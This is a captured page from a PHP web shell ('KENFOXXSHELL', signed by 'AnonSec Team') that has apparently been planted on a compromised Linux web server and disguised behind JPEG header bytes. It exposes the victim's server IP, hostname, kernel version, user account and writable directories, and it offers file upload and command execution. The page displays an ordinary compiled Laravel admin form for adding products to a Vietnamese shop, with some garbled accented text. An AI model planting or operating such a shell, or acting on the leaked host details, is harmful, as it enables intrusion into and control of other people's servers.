ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/storage/framework/views/406cbb34072acbb27f879068cbc3fcca4119ebc7.php
<?php $__env->startSection('content'); ?>



<?php $__env->startSection('controller','Product'); ?>



<?php $__env->startSection('action','Add'); ?>



<!-- Content Header (Page header) -->



<section class="content-header">



  <h1>



    <?php echo $__env->yieldContent('controller'); ?>



    <small><?php echo $__env->yieldContent('action'); ?></small>



  </h1>



  <ol class="breadcrumb">



    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>



    <li><a href="javascript:"><?php echo $__env->yieldContent('controller'); ?></a></li>



    <li class="active"><?php echo $__env->yieldContent('action'); ?></li>



  </ol>



</section>



<!-- Main content -->



<section class="content">



  



    <div class="box">



      <?php echo $__env->make('admin.messages_error', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>



        <div class="box-body">



          



          <form name="frmAdd" method="post" action="<?php echo route('admin.product.postAdd'); ?>" enctype="multipart/form-data">



            <input type="hidden" name="_token" value="<?php echo csrf_token(); ?>" />



            <input type="hidden" name="txtType" value="<?php if (@$_GET['type'] == 'combo' || @$_GET['type'] == 'sanpham') {
  echo @$_GET['type'];
} ?>" />



            <div class="nav-tabs-custom">



                  <ul class="nav nav-tabs">



                      <li class="active"><a href="#tab_1" data-toggle="tab" aria-expanded="false">Thông tin chung</a></li>



                        <?php if (@$_GET['type'] != 'combo' && @$_GET['type'] != 'sanpham') { ?>



                            <li><a href="#tab_5" data-toggle="tab" aria-expanded="true">Thông số mô tả dưới</a></li>



                        <?php
} ?>

                        <li><a href="#tab_3" data-toggle="tab" aria-expanded="true">SEO</a></li>



                  </ul>



                  <div class="tab-content">



                      <div class="tab-pane active" id="tab_1">



                        <div class="row">



                          <div class="col-md-6 col-xs-12">



                            <?php if(count($errors) > 0): ?>



                        <div class="form-group has-error">



                          <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>



                          <label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> <?php echo $error; ?></label><br>



                          <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>



                        </div>



                      <?php endif; ?>



                                    



                          



                  <div class="form-group col-md-12">



                         <img id="output" style="width: 150px;"/>



                                         <input class="max-with" name="fImages" type="file"  onchange="loadFile(event)"/>



                  </div>



                                  



                  <div class="clearfix"></div>



                                    



                                     <?php if (@$_GET['type'] != 'combo' && @$_GET['type'] != '') { ?>

                                          <div class="form-group">   
                                <label for="ten">Danh mục</label>
                                <select name="txtProductCate" class="form-control">
                                  <option value="0">Chá»n danh mục</option>
                                  <?php cate_parent($parent, 0, "--", 0) ?>
                                </select>
                          </div>

                                        <?php if (@$_GET['type'] != 'sanpham') { ?>



                                        <div class="form-group hidden">



                            <label for="ten">Bán thêm đồ thêu</label>



                            <select name="cate_embroi" class="form-control">



                                                <option value="0">Chá»n bán thêm mẫu</option>



                                                <?php

    $embloi = DB::table("embroidery_cates")->select()
      ->get();

    foreach ($embloi as $row) {

?>



                                              <option value="<?php echo $row->id ?>"> <?php echo e($row->name); ?></option>



                                <?php
    } ?> 



                            </select>



                      </div>



                                        <?php
  } ?>



                                       



                                      



                                    <?php
} ?>

                                   

                    <div class="form-group <?php if($errors->first('txtName')!=''): ?> has-error <?php endif; ?>">



                        <label for="ten">Tiêu Ä‘á»(Tiếng việt)</label>



                        <input type="text" id="txtName" name="txtName" value=""  class="form-control" />



                        <?php if($errors->first('txtName')!=''): ?>



                        <label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> <?php echo $errors->first('txtName');; ?></label>



                        <?php endif; ?>



                  </div>



                                    <div class="form-group <?php if($errors->first('txtName_eg')!=''): ?> has-error <?php endif; ?>">



                        <label for="ten">Tiêu Ä‘á»(English)</label>



                        <input type="text" id="txtName_eg" name="txtName_eg" value=""  class="form-control" />



                        <?php if($errors->first('txtName_eg')!=''): ?>



                        <label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> <?php echo $errors->first('txtName_eg');; ?></label>



                        <?php endif; ?>



                  </div>



                  <div class="form-group <?php if($errors->first('txtAlias')!=''): ?> has-error <?php endif; ?>">



                        <label for="alias">ÄÆ°á»ng dẫn tÄ©nh</label>



                        <input type="text" name="txtAlias" id="txtAlias" value=""  class="form-control" />



                        <?php if($errors->first('txtAlias')!=''): ?>



                        <label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> <?php echo $errors->first('txtAlias');; ?></label>



                        <?php endif; ?>



                  </div>



                                     <?php if (@$_GET['type'] != 'combo' && @$_GET['type'] != 'sanpham') { ?>



                                        <div class="form-group">



                            <label for="ten">Giảm giá(%)</label>



                            <input type="number" name="sale" value=""  class="form-control" />



                      </div>



                                     <?php
} ?>  



                </div>



                <div class="col-md-6 col-xs-12">







                    <?php if (@$_GET['type'] == 'combo' || @$_GET['type'] == 'sanpham') { ?>



                                      <div class="form-group">
                                          <label for="">Màu sắc</label>
                                         <div class="clearfix"></div>
                                                 <?php
                                                      $color = DB::table("colors")->select()
                                                        ->get();

                                                      foreach ($color as $rows) {
                                                    ?>  
                                                <div class="col-xs-1">
                                                   <label style="font-weight: 400;cursor: pointer;text-align: center;"><input type="checkbox" name="color_id[]" value="<?php echo e($rows->id); ?>"  /> <img style="width: 100%;" src="<?php echo e(asset('upload/color/'.$rows->images)); ?>" /></label>
                                                </div>
                                                 <?php
                                            } ?>
                                           <div class="clearfix"></div>
                                        </div>
                                        <div class="form-group">

                                        <label for="">Kích thước</label>
                                         <div class="clearfix"></div>
                                                                                               <?php
                                                $sizes = DB::table("sizes")->select()
                                                  ->get();

                                                foreach ($sizes as $rows) {
                                              ?>  
                                                <div class="col-xs-2">
                                                   <label style="font-weight: 400;cursor: pointer;text-align: center;"><input type="checkbox" name="sizes_id[]" value="<?php echo e($rows->id); ?>"  /><?php echo e($rows->name); ?></label>
                                                </div>
                                                 <?php
                                              } ?>
                                           <div class="clearfix"></div>
                                        </div>

                                        <label for="">Chất liệu</label>
                                         <div class="clearfix"></div>
                                                 <?php
                                                $materials = DB::table("materials")->select()
                                                  ->get();

                                                foreach ($materials as $rows) {
                                              ?>  
                                                <div class="col-xs-2">
                                                   <label style="font-weight: 400;cursor: pointer;text-align: center;"><input type="checkbox" name="materials_id[]" value="<?php echo e($rows->id); ?>"  /> <?php echo e($rows->name); ?></label>
                                                </div>
                                                 <?php
                                                   } ?>
                                           <div class="clearfix"></div>
                                        </div>
                                        

                                         <?php if (@$_GET['type'] != 'sanpham') { ?>



                                        <div class="form-group">



                            <label for="ten">Danh mục cha</label>



                            <select name="combo_id" class="form-control">


                              <option value="0">Chá»n danh</option>
                              <?php $combo = DB::table("combos")->select()
      ->get();

    foreach ($combo as $rows) {

?>      



                                                 <option value="<?php echo e($rows->id); ?>"><?php echo e($rows->name); ?></option>



                                                <?php
    } ?>   



                            </select>



                      </div>



                                    <?php
  }
} ?>


            
                      <div class="form-group col-sm-12">



                        <label for="desc">Mô tả(Tiếng việt)</label>



                        <textarea name="txtMota" rows="5" class="form-control"></textarea>



                       </div>



                      <div class="form-group col-sm-12">



                        <label for="desc">Mô tả(English)</label>



                        <textarea name="txtMota_eg" rows="5" class="form-control"></textarea>



                  </div> 



                  <div class="form-group col-sm-12">



                        <label for="desc">Nội dung(Tiếng việt)</label>



                        <textarea name="txtContent" rows="5" class="form-control"></textarea>



                  </div>



                                    <div class="form-group col-sm-12">



                        <label for="desc">Ná»™i dung(English)</label>



                        <textarea name="txtContent_eg" rows="5" class="form-control"></textarea>



                  </div>



                      <!-------------  add nhiá»u ảnh ----------->



                                   <?php if (@$_GET['type'] != 'combo' || @$_GET['type'] != 'sanpham') { ?>



                                   



                                   



                                    <div class="form-group hidden">



                                      <label for="">Thêm nhiá»u hình ảnh</label>



                                     



                                      <div id="a">



                                       <div class="con">



                                            <input id="Text1" name="detailImg[]" class="images-add" name="fImages2" type="file" />



                                            <input id="bnt-images-add" type="button" class="btnRemove" id="btn-Remove" value="Xóa"/>



                                         </div>



                                      </div>



                                    



                                      <input id="btnAdd"  class="add-properties" type="button" value=" Thêm " />



                            



                                     </div>



                                    <?php
} ?> 



                                    <!------------- end add nhieu images ----->



                </div>



                



              </div>



                      </div><!-- /.tab-pane -->



                      <div class="clearfix"></div>



                      <!-- /.tab-pane -->



                      <?php if (@$_GET['type'] != 'combo' || @$_GET['type'] != 'sanpham') { ?>



                            <div class="tab-pane" id="tab_5">



                              <div class="row">



                                <div class="col-md-4 col-xs-12">



                                        <div class="form-group">



                            <label for="desc">Material(Tiếng việt)</label>



                            <textarea name="mota2" rows="5" class="form-control"></textarea>



                      </div>



                                        <div class="form-group">



                            <label for="desc">Material(English)</label>



                            <textarea name="mota2_eg" rows="5" class="form-control"></textarea>



                      </div>



                                    </div>



                                    <div class="col-md-4 col-xs-12">



                                        <div class="form-group">



                            <label for="desc">Why We Love This(Tiếng việt)</label>



                            <textarea name="mota3" rows="5" class="form-control"></textarea>



                      </div>



                                        <div class="form-group">



                            <label for="desc">Why We Love This(English)</label>



                            <textarea name="mota3_eg" rows="5" class="form-control"></textarea>



                      </div>



                                    </div>



                                    <div class="col-md-4 col-xs-12">



                                        <div class="form-group">



                            <label for="desc">Try Us For 60 Nights Risk Free(Tiếng việt)</label>



                            <textarea name="mota4" rows="5" class="form-control"></textarea>



                      </div>



                                        <div class="form-group">



                            <label for="desc">Try Us For 60 Nights Risk Free(English)</label>



                            <textarea name="mota4_eg" rows="5" class="form-control"></textarea>



                      </div>



                                    </div>



                                 </div>   



                            



                            </div>



                          <?php
} ?> 

                        

                    <div class="tab-pane" id="tab_3">







                        <div class="row">



                          <div class="col-md-6 col-xs-12">



                            



                                    <!------------------------>



                                    <div class="form-group">



                        <label for="title">Title Seo(Tiếng việt)</label>



                        <input type="text" name="txtTitle" class="form-control" />



                  </div>



                                    



                            <div class="form-group col-sm-12">



                        <label for="keyword">Meta Keyword(Tiếng việt)</label>



                        <textarea name="txtKeyword" rows="5" class="form-control"></textarea>



                  </div>



                                    



                  <div class="form-group">



                        <label for="description">Meta Description(Tiếng việt)</label>



                        <textarea name="txtDescription" rows="5" class="form-control"></textarea>



                  </div>



                                    



                                    <!------------------------>



                          </div>



                                <div class="col-md-6 col-xs-12">



                                    <div class="form-group">



                        <label for="title">Title Seo(English)</label>



                        <input type="text" name="txtTitle_eg" class="form-control" />



                  </div>



                                    <div class="form-group">



                        <label for="keyword">Meta Keyword(English)</label>



                        <textarea name="txtKeyword_eg" rows="5" class="form-control"></textarea>



                  </div>



                                    <div class="form-group">



                        <label for="description">Meta Description(English)</label>



                        <textarea name="txtDescription_eg" rows="5" class="form-control"></textarea>



                  </div>



                                </div>



                        </div>



                            



                        <div class="clearfix"></div>



                    </div><!-- /.tab-pane -->



                  </div><!-- /.tab-content -->



              </div>



              <div class="clearfix"></div>



          <div class="col-md-6">



            <div class="form-group" style="display: none;">



                <label for="ten">Số thứ tự</label>



                <input type="number" min="1" name="stt" value="<?php echo count($data)+1; ?>" class="form-control" style="width: 100px;">



            </div>



            



            <div class="form-group">



              <label>



                  <input type="checkbox" name="status" checked="checked"> Hiển thị



              </label>



            </div>



            <!-- <div class="form-group">



              <label>



                  <input type="checkbox" name="tinhtrang" checked="checked"> Tình trạng



              </label>



            </div> -->



                    <?php if (@$_GET['type'] != 'combo' && @$_GET['type'] != 'sanpham') { ?>



            <div class="form-group">



              <label>



                  <input type="checkbox" name="noibat"> Nổi bật



              </label>



            </div>



                    <?php
} ?>



            <!-- <div class="form-group">



              <label>



                  <input type="checkbox" name="spbc"> Bán chạy



              </label>



            </div> -->



          </div>



          <div class="clearfix"></div>



          <div class="box-footer">



            <div class="row">



            <div class="col-md-6">



                <button type="submit" class="btn btn-primary">Lưu</button>



                <button type="button" onclick="javascript:window.location='admin/product'" class="btn btn-danger">Thoát</button>



              </div>



            </div>



          </div>



        </form>



        </div><!-- /.box-body -->



    </div><!-- /.box -->



    



</section><!-- /.content -->



<script type="text/javascript">



 $(document).ready(function() {



      $("#btnAdd").click(function() {



        $("#a").append('<div class="con"><input id="Text1" name="detailImg[]" class="images-add" name="fImages2" type="file" />' + '<input id="bnt-images-add" type="button" class="btnRemove" value="Xóa"/></div>');



      });



      $('body').on('click','.btnRemove',function() {



        $(this).parent('div.con').remove()



    



      });



    });



</script>



<?php $__env->stopSection(); ?>

<?php echo $__env->make('admin.master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Anon7 - 2022
AnonSec Team